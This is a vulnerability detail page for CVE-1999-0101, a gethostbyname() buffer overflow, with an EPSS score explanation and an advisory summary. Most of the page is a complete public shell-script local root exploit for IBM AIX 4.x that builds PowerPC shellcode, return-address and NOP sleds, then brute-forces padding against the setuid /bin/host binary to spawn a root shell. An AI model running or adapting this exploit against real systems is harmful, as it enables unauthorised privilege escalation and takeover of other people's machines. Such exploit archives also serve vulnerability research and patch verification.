CVE-1999-0101 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/6853/info A vulnerability has been discovered in multiple vendor implementations of the 'gethostbyname()' library function, which is used to resolve network addresses. The 'gethostbyname()' function fails to implement sufficient bounds checking on data copied into local memory buffers. Under some circumstances, attackers may exploit this issue to overwrite sensitive locations in memory and may leverage the issue to execute arbitrary commands with the privileges of the vulnerable application. This issue may be local or remote, depending on the particular applications that use the function on vulnerable systems. Several applications may implement the 'gethostbyname()' function, thus exposing them to this vulnerability. Applications known to implement 'gethostbyname()' include various implementations of 'ping', 'ftp', and 'tftp'. Other applications may also be vulnerable. #!/bin/sh ####################################### ## Local r00t 'shell-exploit' for: ## ## gethostbyname() Buffer Overflow ## ## [ BID 6853 / CVE-1999-0101 ] ## ## - - - ## ## By Roman Medina-Heigl Hernandez ## ## aka RoMaNSoFt <roman@rs-labs.com> ## ## ## ## Madrid, 28.Sep.2006 ## ## ================================= ## ## Public release. Version 1. ## ## --------------------------------- ## ## -= http://www.rs-labs.com/ =- ## ####################################### ############################################################################# # # # This is merely a proof of concept for what I call a "shell-exploit" # # # # * Original IBM Advisory: ERS-SVA-E01-1996:007.1 (03.Dec.1996) # # * Affected platforms: IBM AIX(r) 3.2.x, 4.1.x, 4.2.x # # * Exploit tested on: PowerPC-604 running AIX 4.1.4.0 # # * No need to use a compiler, perl, etc. Shell-scripting power! # # Now you know what a pure 'shell-exploit' is :-) # # * Syntax: # # % ./rs_aix_host.sh [RET length] [NOP length] [4140|41|42] # # # ###############################################################--[ EOT ]--### ### Default configuration ret_length=100 nop_length=300 ### Return Address # AIX 4.1.4.0 - Tested TGT4140="AIX 4.1.4.0" RET4140="\057\362\054\330" # 0x2ff22cd8 # Generic AIX 4.1 - Untested, we assume the former one. Mail me if you have a better guess TGT41="AIX 4.1.x" RET41=$RET4140 # Generic AIX 4.2 - Untested, we assume the former one. Mail me if you have a better guess TGT42="AIX 4.2.x" RET42=$RET4140 ### Shellcode (LSD's Asmcodes - PowerPC/AIX) # # char _shellcode[]= /* 12*4+8 bytes */ # "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ # "\x40\x82\xff\xfd" /* bnel <shellcode> */ # "\x7f\xe8\x02\xa6" /* mflr r31 */ # "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ # "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ # "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ # "\x90\x7f\xff\x10" /* st r3,-240(r31) */ # "\x90\xbf\xff\x14" /* st r5,-236(r31) */ # "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */ # "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ # "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ # "\x44\xff\xff\x02" /* svca */ # "/bin/sh" # #ifdef V41 # "\x03" # #endif # #ifdef V42 # "\x02" # #endif PARTIALCODE="\ \174\245\052\171\100\202\377\375\177\350\002\246\073\377\001\040\ \070\177\377\010\070\237\377\020\220\177\377\020\220\277\377\024\ \210\137\377\017\230\277\377\017\114\306\063\102\104\377\377\002\ \057\142\151\156\057\163\150\ " # AIX 4.1 SHELLCODE41=$PARTIALCODE"\003" # AIX 4.2 SHELLCODE42=$PARTIALCODE"\002" ### NOP NOP="\117\377\373\202" # 0x4ffffb82 /* cror 31,31,31 */ ### Setuid binary (target) CMD=/bin/host ### Functions oct2bin_setup() { # Better to use printf binary if present if [ `printf "dSR"` = "dSR" ] >/dev/null 2>&1 ; then _PRINTCMD="printf" _SYSV="" elif [ `echo "RS\c"` = "RS" ] >/dev/null 2>&1 ; then # System V _PRINTCMD="echo" _SYSV="\c" else # Linux/BSD _PRINTCMD="echo -n -e" _SYSV="" fi if ! [ `$_PRINTCMD "dSR"$_SYSV` = "dSR" ] >/dev/null 2>&1 ; then echo "Sorry, I don't know how to write raw binary data :-(" echo "Please, modify oct2bin* functions and try again!" exit 2 fi } oct2bin() { $_PRINTCMD $1$_SYSV } printhex() { oct2bin $1 | od -t x4 -A n | tr -cd 0123456789abcdefABCDEF } ### Exploit really starts here... echo "#######################################" echo "## Local r00t 'shell-exploit' for: ##" echo "## gethostbyname() Buffer Overflow ##" echo "## [ BID 6853 / CVE-1999-0101 ] ##" echo "## . . . . . . . . . . . . . . . ##" echo "## By: RoMaNSoFt <roman@rs-labs.com> ##" echo "#######################################" echo ### Check target binary if [ -x $CMD -a -u $CMD ] ; then echo "[*] Target binary has suid bit [$CMD]" else echo "Sorry, target doesn't exist or it's not suid or cannot be executed" exit 3 fi ### We accept (optional) parameters if [ $1 ] ; then ret_length=$1 fi if [ $2 ] ; then nop_length=$2 fi # Default target platform TARGET=$TGT4140 RET=$RET4140 SHELLCODE=$SHELLCODE41 if [ $3 ] ; then if [ $3 = "4140" ] ; then TARGET=$TGT4140 RET=$RET4140 SHELLCODE=$SHELLCODE41 elif [ $3 = "41" ] ; then TARGET=$TGT41 RET=$RET41 SHELLCODE=$SHELLCODE41 elif [ $3 = "42" ] ; then TARGET=$TGT42 RET=$RET42 SHELLCODE=$SHELLCODE42 fi fi ### First, we convert octal strings to raw binary oct2bin_setup RET=`oct2bin $RET` NOP=`oct2bin $NOP` SHELLCODE=`oct2bin $SHELLCODE` ### Second, we create the NOP & RET sleds echo "[*] Setting up exploitation environment..." ret_sled="" i=$ret_length while [ $i != 0 ]; do ret_sled=$ret_sled$RET i=$(($i-1)) done nop_sled="" i=$nop_length while [ $i != 0 ]; do nop_sled=$nop_sled$NOP i=$(($i-1)) done echo "--> TARGET = $TARGET // RET = 0x"`printhex $RET`" // RETs = $ret_length //"\ " NOPs = $nop_length <--" ### Prior to exploitation the environment will be un-exported to preserve memory layout ### and previous RET calculations for i in `env | cut -d= -f1` ; do typeset +x $i done ### Exploit it! echo "[*] Exploiting..." PAD="A" ipad="A" i=0 SUCCESS=0 while [ $i -lt 4 ]; do jpad="" j=0 while [ $j -lt 4 ]; do EGG=$ipad$nop_sled$SHELLCODE $CMD $jpad$ret_sled if [ $? = 0 ]; then SUCCESS=1 break 2 fi jpad=$PAD$jpad j=$(($j+1)) done ipad=$PAD$ipad i=$(($i+1)) done ### Finish politely ;-) if [ $SUCCESS = 1 ]; then echo "--> Guessed PAD: EGG = $i // RET = $j <--" echo "Owned :-)" STATUS=0 else echo "Bad luck :-(" STATUS=1 fi exit $STATUS # --[ EOT ]--